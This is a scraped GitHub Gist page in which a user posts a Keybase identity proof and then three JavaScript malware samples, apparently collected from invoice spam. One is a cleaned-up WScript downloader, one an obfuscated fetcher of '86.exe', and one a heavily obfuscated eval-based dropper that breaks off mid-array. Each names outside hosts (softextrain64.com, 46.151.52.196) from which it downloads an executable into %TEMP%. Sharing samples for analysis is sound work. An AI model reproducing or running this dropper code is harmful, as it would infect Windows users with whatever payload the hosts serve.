Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am xantronix on github.
  • I am xantronix (https://keybase.io/xantronix) on keybase.
  • I have a public key whose fingerprint is D14C 3620 58BF 40D1 BA5F 136C C84D F906 7177 11B2

To claim this, I am signing this object:

@xantronix
xantronix / stage2.js
Last active December 10, 2015 18:04
A well-factored version of the malicious payload downloader
var mirrors = [
"http://softextrain64.com/",
"http://46.151.52.196/"
];
var shell = WScript.CreateObject("WScript.Shell");
var tempdir = shell.ExpandEnvironmentStrings("%TEMP%\\");
var client = WScript.CreateObject("MSXML2.XMLHTTP");
var fh = WScript.CreateObject("ADODB.Stream");
@xantronix
xantronix / poop.js
Created December 10, 2015 17:54
Second stage malware executable fetcher
var s = "softextrain64.com/86.exe? 46.151.52.196/86.exe? ? ?".split(" ");
var OAx =((1/*PR2r733794596n210778uM354193eOiZ*/)?"WScri":"")+"pt.Shell";
var sG = WScript.CreateObject(OAx);
var tl = "%TEMP%\\";
var IiE = sG.ExpandEnvironmentStrings(tl);
var HDE = "2.XMLH";
var JeP = HDE + "TTP";
var jq = true , XvuU = "ADOD";
@xantronix
xantronix / invoice_copy_poop.js
Created December 10, 2015 17:51
Spam malware that keeps nagging me for money
var OdbdQZETZhivs=[];
djbuiXT=(-821+821)/77;while(true){if(djbuiXT>=(113183+993)/892){break;}OdbdQZETZhivs[djbuiXT]=String.fromCharCode(djbuiXT);djbuiXT++;}
function jGcyl(fqZTarKqXmR,WTkMnpoiKXrgR,OJWewNwj){YsWc=parseInt(fqZTarKqXmR,WTkMnpoiKXrgR);WZepy=YsWc.toString(OJWewNwj);return WZepy;}function FXLfexHDeMibdKt(JvAzmmAGDkqPqVOOz){eval(JvAzmmAGDkqPqVOOz)}
function aQkmfmCLccpGzXsFAWPCjxtmIKrXooaZfNmwLUQIpyeMZpYaLkLGPh(VUpkmvBRRqsDC,PsTNgeacLiLVWH){ return OdbdQZETZhivs[jGcyl(VUpkmvBRRqsDC[PsTNgeacLiLVWH],(2551+374)/117,(4100+620)/472)];}
function lFUriot(azXFKWepEjgZDpbqSSTwkLovBDRpXxNWtelt) {return !isNaN(parseFloat(azXFKWepEjgZDpbqSSTwkLovBDRpXxNWtelt)) && isFinite(azXFKWepEjgZDpbqSSTwkLovBDRpXxNWtelt);}
function ztcEPuaCMXL(jogMlhsr,eWXUwV){return jogMlhsr.split(eWXUwV)}
var M=[];M[0]="d";M[1]="a";M[2]="d";M[3]="a";M[4]="4i";M[5]="3m";M[6]="4e";M[7]="17";M[8]="4f";M[9]="17";M[10]="2b";M[11]="17";M[12]="19";M[13]="4f";M[14]="4b";M[15]="42";M[16]="4g";M[17]="41";M[18]="4k";M[19]="4g";M[20]="4e";M[21]="3m